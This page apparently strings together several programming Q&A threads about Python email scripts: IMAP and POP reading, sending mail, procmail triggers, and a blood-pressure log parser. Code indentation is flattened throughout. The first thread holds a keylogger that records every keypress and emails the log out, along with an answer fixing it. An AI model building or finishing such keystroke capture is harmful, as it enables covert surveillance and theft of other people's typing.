I'm trying to make a program that captures everything I type on my keyboard, saves it to a text file and emails it to me. Every time it emails it it is empty or has text from the last time I ran it. I'm not sure what to do.
from pynput.keyboard import Key, Listener
from datetime import datetime
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
email_user = 'username#gmail.com'
email_send = 'reciever#gmail.com'
password = 'password'
subject = 'file'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'hi'
filename='filename.txt'
attachment =open(filename, 'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
msg.attach(MIMEText(body,'plain'))
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email_user, password)
now = datetime.now()
dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
def show(key):
file = open('filename.txt', 'a+')
file.write(dt_string + " ")
if key != Key.backspace and key != Key.left and key != Key.right and key != Key.up and key != Key.down and key != Key.shift and key != Key.shift_r:
file.write(format(key)+'\n')
if key == Key.delete:
server.sendmail(email_user, email_send,text)
return False
with Listener(on_press = show) as listener:
listener.join()
Your text is empty as it is initialized at the start and when you're sending the email the same empty text is being sent. What you need to do is read through the file before you send your email. Call a function above server.sendmail(email_user, email_send,text) as text = readFile()
def readFile():
** read your file **
** and return text **
i am very new to programming, i am supposed to count the number of unread eamails in my inbos usiong python. i am getting a name error saying that "mail" is not defined. i am not sure about the logic either. Here is the code:
import imaplib
<!-- begin snippet: js hide: false console: true babel: false -->
import datetime
import email
import getpass
def readmail():
mail = imaplib.IMAP4_SSL('imap.gmail.com', 993)
mypassword = getpass.getpass("Password: ")
address = '#mail.com'
mail.login(address, mypassword)
now = datetime.date.today()
mail.select("inbox")
print("Checking for new e-mails for ", address, ".")
typ, messageIDs = mail.search(now, "UNSEEN")
messageIDsString = str(messageIDs[0], encoding='utf8')
listOfSplitStrings = messageIDsString.split(" ")
print (len(listOfSplitStrings))
Fix code indentation
import imaplib
import datetime
import email
import getpass
def readmail():
mail = imaplib.IMAP4_SSL('imap.gmail.com', 993)
mypassword = getpass.getpass("Password: ")
address = '#mail.com'
mail.login(address, mypassword)
now = datetime.date.today()
mail.select("inbox")
print("Checking for new e-mails for ", address, ".")
typ, messageIDs = mail.search(now, "UNSEEN")
messageIDsString = str(messageIDs[0], encoding='utf8')
listOfSplitStrings = messageIDsString.split(" ")
print (len(listOfSplitStrings))
if __name__=="__main__":
readmail()
I'm trying to get a python script which looks through my gmail inbox using imap and prints out the subject and sender of any emails which are unseen. I've started but at the moment I don't think it can sort the unseen emails or extract from these the subject and sender.
Does anyone know how to finish this code?
import imaplib
import email
user = "x"
password = "y"
mail = imaplib.IMAP4_SSL('imap.gmail.com')
mail.login(user, password)
mail.list()
mail.select('inbox')
unseen_emails = mail.search(None, 'UnSeen')
print unseen_emails
If you were willing to use poplib, this should work.
import poplib
mymail = []
host = "pop.gmail.com"
mail = poplib.POP3_SSL(host)
print (mail.getwelcome())
print (mail.user("user#gmail.com"))
print (mail.pass_("password"))
print (mail.stat())
print (mail.list())
print ("")
if mail.stat()[1] > 0:
print ("You have new mail.")
else:
print ("No new mail.")
print ("")
numMessages = len(mail.list()[1])
numb=0
for i in range(numMessages):
for j in mail.retr(i+1)[1]:
numb+=1
if numb == 4 or numb == 5:
print(j)
mail.quit()
input("Press any key to continue.")
Just be sure to allow less secure apps in your google account here: https://myaccount.google.com/lesssecureapps
My external lib https://github.com/ikvk/imap_tools
from imap_tools import MailBox, AND
# get list of unseen emails from INBOX folder
with MailBox('imap.mail.com').login('test#mail.com', 'pwd', 'INBOX') as mailbox:
for msg in mailbox.fetch(AND(seen=False)):
msg.subject # str: 'some subject 你 привет'
msg.from_ # str: 'Sender#ya.ru'
NOTE: mailbox.fetch has mark_seen arg!
My email program is emailing each line of the message as a separate email, i would like to know how to send all of the message in one email, when the email is sent the program will return to the beginning.
import smtplib
from email.mime.text import MIMEText
a = 1
while a == 1:
print " "
To = raw_input("To: ")
subject = raw_input("subject: ")
input_list = []
print "message: "
while True:
input_str = raw_input(">")
if input_str == "." and input_list[-1] == "":
break
else:
input_list.append(input_str)
for line in input_list:
# Create a MIME text message and populate its values
msg = MIMEText(line)
msg['Subject'] = subject
msg['From'] = '123#example.com'
msg['To'] = To
server = smtplib.SMTP_SSL('server', 465)
server.ehlo()
server.set_debuglevel(1)
server.ehlo()
server.login('username', 'password')
# Send a properly formatted MIME message, rather than a raw string
server.sendmail('user#example.net', To, msg.as_string())
server.close()
(the part that takes multiple lines was made with the help Paul Griffiths, Multiline user input python)
for line in input_list:
# Create a MIME text message and populate its values
msg = MIMEText(line)
You are calling server.sendmail in this loop.
Build your entire msg first (in a loop), THEN add all of your headers and send your message.
I am interested to trigger a certain action upon receiving an email from specific
address with specific subject. In order to be able to do so I need to implement
monitoring of my mailbox, checking every incoming mail (in particular, i use gmail).
what is the easiest way to do that?
Gmail provides the ability to connect over POP, which you can turn on in the gmail settings panel. Python can make connections over POP pretty easily:
import poplib
from email import parser
pop_conn = poplib.POP3_SSL('pop.gmail.com')
pop_conn.user('username')
pop_conn.pass_('password')
#Get messages from server:
messages = [pop_conn.retr(i) for i in range(1, len(pop_conn.list()[1]) + 1)]
# Concat message pieces:
messages = ["\n".join(mssg[1]) for mssg in messages]
#Parse message intom an email object:
messages = [parser.Parser().parsestr(mssg) for mssg in messages]
for message in messages:
print message['subject']
pop_conn.quit()
You would just need to run this script as a cron job. Not sure what platform you're on so YMMV as to how that's done.
Gmail provides an atom feed for new email messages. You should be able to monitor this by authenticating with py cURL (or some other net library) and pulling down the feed. Making a GET request for each new message should mark it as read, so you won't have to keep track of which emails you've read.
While not Python-specific, I've always loved procmail wherever I could install it...!
Just use as some of your action lines for conditions of your choice | pathtoyourscript (vertical bar AKA pipe followed by the script you want to execute in those cases) and your mail gets piped, under the conditions of your choice, to the script of your choice, for it to do whatever it wants -- hard to think of a more general approach to "trigger actions of your choice upon receipt of mails that meet your specific conditions!! Of course there are no limits to how many conditions you can check, how many action lines a single condition can trigger (just enclose all the action lines you want in { } braces), etc, etc.
People seem to be pumped up about Lamson:
https://github.com/zedshaw/lamson
It's an SMTP server written entirely in Python. I'm sure you could leverage that to do everything you need - just forward the gmail messages to that SMTP server and then do what you will.
However, I think it's probably easiest to do the ATOM feed recommendation above.
EDIT: Lamson has been abandoned
I found a pretty good snippet when I wanted to do this same thing (and the example uses gmail). Also check out the google search results on this.
I recently solved this problem by using procmail and python
Read the documentation for procmail. You can tell it to send all incoming email to a python script like this in a special procmail config file
:0:
| ./scripts/ppm_processor.py
Python has an "email" package available that can do anything you could possibly want to do with email. Read up on the following ones....
from email.generator import Generator
from email import Message
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.mime.multipart import MIMEMultipart
https://developers.google.com/gmail/gmail_inbox_feed
Says you have to have a corporate Gmail, but I have come to find that you can read Gmail free versions without issues. I use this code to get my blood pressure results I email or text to a gmail address.
from email.header import decode_header
from datetime import datetime
import os
import pandas as pd
import plotly.graph_objs as go
import plotly
now = datetime.now()
dt_string = now.strftime("%Y.%m.%d %H:%M:%S")
print("date_time:", dt_string)
email_account = '13123#gmail.com'
email_password = '131231231231231231312313F'
email_server = 'imap.gmail.com'
email_port = 993
accept_emails_from = {'j1231312#gmail.com', '1312312#chase.com', '13131231313131#msg.fi.google.com'}
verbose = True
def get_emails():
email_number = 0
local_csv_data = ''
t_date = None
t_date = None
t_systolic = None
t_diastolic = None
t_pulse = None
t_weight = None
try:
mail = imaplib.IMAP4_SSL(email_server)
email_code, email_auth_status = mail.login(email_account, email_password)
if verbose:
print('[DEBUG] email_code: ', email_code)
print('[DEBUG] email_auth_status: ', email_auth_status)
mail.list()
mail.select('inbox')
# (email_code, messages) = mail.search(None, 'ALL')
(email_code, messages) = mail.search(None, '(UNSEEN)') # only get unread emails to process.
subject = None
email_from = None
for email_id in messages[0].split():
email_number += 1
email_code, email_data = mail.fetch(email_id, '(RFC822)')
for response in email_data:
if isinstance(response, tuple): # we only want the tuple ,the bytes is just b .
msg = email.message_from_bytes(response[1])
content_type = msg.get_content_type()
subject, encoding = decode_header(msg["Subject"])[0]
subject = str(subject.replace("\r\n", ""))
if isinstance(subject, bytes):
subject = subject.decode(encoding)
email_from, encoding = decode_header(msg.get("From"))[0]
if isinstance(email_from, bytes):
email_from = email_from.decode(encoding)
if content_type == "text/plain":
body = msg.get_payload(decode=True).decode()
parse_data = body
else:
parse_data = subject
if '>' in email_from:
email_from = email_from.lower().split('<')[1].split('>')[0]
if email_from in accept_emails_from:
parse_data = parse_data.replace(',', ' ')
key = 0
for value in parse_data.split(' '):
if key == 0:
t_date = value
t_date = t_date.replace('-', '.')
if key == 1:
t_time = value
if ':' not in t_time:
numbers = list(t_time)
t_time = numbers[0] + numbers[1] + ':' + numbers[2] + numbers[3]
if key == 2:
t_systolic = value
if key == 3:
t_diastolic = value
if key == 4:
t_pulse = value
if key == 5:
t_weight = value
key += 1
t_eval = t_date + ' ' + t_time
if verbose:
print()
print('--------------------------------------------------------------------------------')
print('[DEBUG] t_eval:'.ljust(30), t_eval)
date_stamp = datetime.strptime(t_eval, '%Y.%m.%d %H:%M')
if verbose:
print('[DEBUG] date_stamp:'.ljust(30), date_stamp)
print('[DEBUG] t_systolic:'.ljust(30), t_systolic)
print('[DEBUG] t_diastolic:'.ljust(30), t_diastolic)
print('[DEBUG] t_pulse:'.ljust(30), t_pulse)
print('[DEBUG] t_weight:'.ljust(30), t_weight)
new_data = str(date_stamp) + ',' + \
t_systolic + ',' + \
t_diastolic + ',' + \
t_pulse + ',' + \
t_weight + '\n'
local_csv_data += new_data
except Exception as e:
traceback.print_exc()
print(str(e))
return False, email_number, local_csv_data
return True, email_number, local_csv_data
def update_csv(local_data):
""" updates csv and sorts it if there is changes made. """
uniq_rows = 0
if os.name == 'posix':
file_path = '/home/blood_pressure_results.txt'
elif os.name == 'nt':
file_path = '\\\\uncpath\\blood_pressure_results.txt'
else:
print('[ERROR] os not supported:'.ljust(30), os.name)
exit(911)
if verbose:
print('[DEBUG] file_path:'.ljust(30), file_path)
column_names = ['00DateTime', 'Systolic', 'Diastolic', 'Pulse', 'Weight']
if not os.path.exists(file_path):
with open(file_path, 'w') as file:
for col in column_names:
file.write(col + ',')
file.write('\n')
# append the new data to file.
with open(file_path, 'a+') as file:
file.write(local_data)
# sort the file.
df = pd.read_csv(file_path, usecols=column_names)
df_sorted = df.sort_values(by=["00DateTime"], ascending=True)
df_sorted.to_csv(file_path, index=False)
# remove duplicates.
file_contents = ''
with open(file_path, 'r') as file:
for row in file:
if row not in file_contents:
uniq_rows += 1
print('Adding: '.ljust(30), row, end='')
file_contents += row
else:
print('Duplicate:'.ljust(30), row, end='')
with open(file_path, 'w') as file:
file.write(file_contents)
return uniq_rows
# run the main code to get emails.
status, emails, my_data = get_emails()
print('status:'.ljust(30), status)
print('emails:'.ljust(30), emails)
# if the new emails received then sort the files.
csv_rows = update_csv(my_data)
print('csv_rows:'.ljust(30), csv_rows)
exit(0)